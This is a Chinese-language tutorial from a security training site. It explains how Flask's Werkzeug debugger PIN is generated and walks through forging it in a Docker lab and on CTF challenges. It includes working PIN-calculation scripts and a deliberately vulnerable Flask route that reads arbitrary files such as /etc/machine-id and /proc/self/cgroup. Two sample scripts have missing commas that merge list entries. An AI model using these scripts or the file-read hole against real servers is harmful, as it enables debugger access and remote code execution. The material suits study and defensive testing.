最近搞SSTI，发现有的开发开了debug，由此想到了PIN，但一直没有对这个点做一个深入剖析，今天就完整的整理Flask Debug PIN码的生成原理与安全问题。

PIN是什么？

PIN是 Werkzeug（它是 Flask 的依赖项之一）提供的额外安全措施，以防止在不知道 PIN 的情况下访问调试器。 您可以使用浏览器中的调试器引脚来启动交互式调试器。

请注意，无论如何，您都不应该在生产环境中使用调试模式，因为错误的堆栈跟踪可能会揭示代码的多个方面。

调试器 PIN 只是一个附加的安全层，以防您无意中在生产应用程序中打开调试模式，从而使攻击者难以访问调试器。

——来自StackOverFlow回答

werkzeug不同版本以及python不同版本都会影响PIN码的生成

但是PIN码并不是随机生成，当我们重复运行同一程序时，生成的PIN一样，PIN码生成满足一定的生成算法

探寻PIN码生成算法

笔者环境

• Python 3.10.2

• Flask 2.0.3

• PyCharm 2021.3.3 (Professional Edition)

• Windows 10 专业版 21H2

• Docker Desktop 4.7.0

先写一个简单的Flask测试程序

from flask import Flask
app = Flask(__name__)
​
​
@app.route("/")
def hello():
    return '合天网安实验室-实践型网络安全在线学习平台；真实环境，在线实操学网络安全。'
​
​
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, debug=True)

运行，控制台状态如下

浏览器如下则成功

接下来开始调试程序，顺藤摸瓜找到生成PIN码的函数

PIN码是werkzeug的策略，先找到flask中导入werkzeug的部分

 

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调试

在run.app行下断点，点击调试

点击步入

转到了flask/app.py，直接Ctrl+F搜索werkzeug

发现程序从werkzeug导入了run_simple模块，而且try部分有run app的参数

我们直接按住ctrl点击run_simple进去看看

此时进入了seving.py，找到了负责Debug的部分，PIN码是在debug状态下才有的，那这个部分很有可能存有PIN码生成部分，进去看看

此时进入了__init__.py，经过一番审计，先来看一看pin函数

主要是get_pin_and_cookie_name函数，进去看看

def get_pin_and_cookie_name(
    app: "WSGIApplication",
) -> t.Union[t.Tuple[str, str], t.Tuple[None, None]]:
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.
​
    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None
​
    # Pin was explicitly disabled
    if pin == "off":
        return None, None
​
    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin
​
    modname = getattr(app, "__module__", t.cast(object, app).__class__.__module__)
    username: t.Optional[str]
​
    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None
​
    mod = sys.modules.get(modname)
​
    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", type(app).__name__),
        getattr(mod, "__file__", None),
    ]
​
    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]
​
    h = hashlib.sha1()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")
​
    cookie_name = f"__wzd{h.hexdigest()[:20]}"
​
    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = f"{int(h.hexdigest(), 16):09d}"[:9]
​
    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num
​
    return rv, cookie_name

 

返回的rv就是PIN码，但这个函数核心是将列表里的值hash，我们不需要去读懂这段代码，只需要将列表里的值填上直接运行代码就行。

生成要素：

username

通过getpass.getuser()读取，通过文件读取/etc/passwd

modname

通过getattr(mod,“file”,None)读取，默认值为flask.app

appname

通过getattr(app,“name”,type(app).name)读取，默认值为Flask

moddir

当前网络的mac地址的十进制数，通过getattr(mod,“file”,None)读取实际应用中通过报错读取

uuidnode

通过uuid.getnode()读取，通过文件/sys/class/net/eth0/address得到16进制结果，转化为10进制进行计算

machine_id

每一个机器都会有自已唯一的id，machine_id由三个合并(docker就后两个)：1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup

当这6个值我们可以获取到时，就可以推算出生成的PIN码

生成算法

修改一下就是PIN生成算法

import hashlib
from itertools import chain
​
probably_public_bits = [
    'root',  # username
    'flask.app',  # modname
    'Flask',  # getattr(app, '__name__', getattr(app.__class__, '__name__'))
    '/usr/local/lib/python3.7/site-packages/flask/app.py'  # getattr(mod, '__file__', None),
]
​
# This information is here to make it harder for an attacker to
# guess the cookie name.  They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [
    '2485377957890',  # str(uuid.getnode()),  /sys/class/net/ens33/address
    # Machine Id: /etc/machine-id + /proc/sys/kernel/random/boot_id + /proc/self/cgroup
    '861c92e8075982bcac4a021de9795f6e3291673c8c872ca3936bcaa8a071948b'
]
​
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode("utf-8")
    h.update(bit)
h.update(b"cookiesalt")
​
cookie_name = f"__wzd{h.hexdigest()[:20]}"
​
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
    h.update(b"pinsalt")
    num = f"{int(h.hexdigest(), 16):09d}"[:9]
​
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = "-".join(
                num[x: x + group_size].rjust(group_size, "0")
                for x in range(0, len(num), group_size)
            )
            break
    else:
        rv = num
​
print(rv)

 

然后这里还有一个点，python不同版本的算法区别

不同版本算法区别

3.6采用MD5加密，3.8采用sha1加密，所以脚本有所不同

3.6 MD5

#MD5
import hashlib
from itertools import chain
probably_public_bits = [
     'flaskweb'
     'flask.app',
     'Flask',
     '/usr/local/lib/python3.7/site-packages/flask/app.py'
]
​
private_bits = [
     '25214234362297',
     '0402a7ff83cc48b41b227763d03b386cb5040585c82f3b99aa3ad120ae69ebaa'
]
​
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
​
cookie_name = '__wzd' + h.hexdigest()[:20]
​
num = None
if num is None:
   h.update(b'pinsalt')
   num = ('%09d' % int(h.hexdigest(), 16))[:9]
​
rv =None
if rv is None:
   for group_size in 5, 4, 3:
       if len(num) % group_size == 0:
          rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                      for x in range(0, len(num), group_size))
          break
       else:
          rv = num
​
print(rv)

 

3.8 SHA1

#sha1
import hashlib
from itertools import chain
probably_public_bits = [
    'root'
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.8/site-packages/flask/app.py'
]
​
private_bits = [
    '2485377581187',
    '653dc458-4634-42b1-9a7a-b22a082e1fce55d22089f5fa429839d25dcea4675fb930c111da3bb774a6ab7349428589aefd'
]
​
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')
​
cookie_name = '__wzd' + h.hexdigest()[:20]
​
num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]
​
rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num
​
print(rv)

 

其实最稳妥的方法就是自己调试，把自己版本的生成PIN部分提取出来，把num和rv改成None，直接print rv就行

docker测试

本地docker在Windows上

我们将上面的测试代码修改为下，加入文件读取功能，并且return 0当我们传值错误可出发debug模式

from flask import Flask, request
app = Flask(__name__)
​
​
@app.route("/")
def hello():
    return '合天网安实验室-实践型网络安全在线学习平台；真实环境，在线实操学网络安全。'
​
​
@app.route("/file")
def file():
    filename = request.args.get('filename')
    try:
        with open(filename, 'r') as f:
            return f.read()
    except:
        return 0
​
​
if __name__ == "__main__":
    app.run(host="0.0.0.0", port=9000, debug=True)

 

回到我们的环境，模块路径通过传入错误文件名触发报错可得到，主要就是machine-id，其他部分直接出的就不用看了，docker环境只需要后俩

拼接起来，代入程序，直接运行

与环境里的一致

如果大家嫌开环境麻烦这里推荐两个线上靶场，这俩都是计算PIN

• [GYCTF2020]FlaskApp——BUUCTF

• web801——CTFshow

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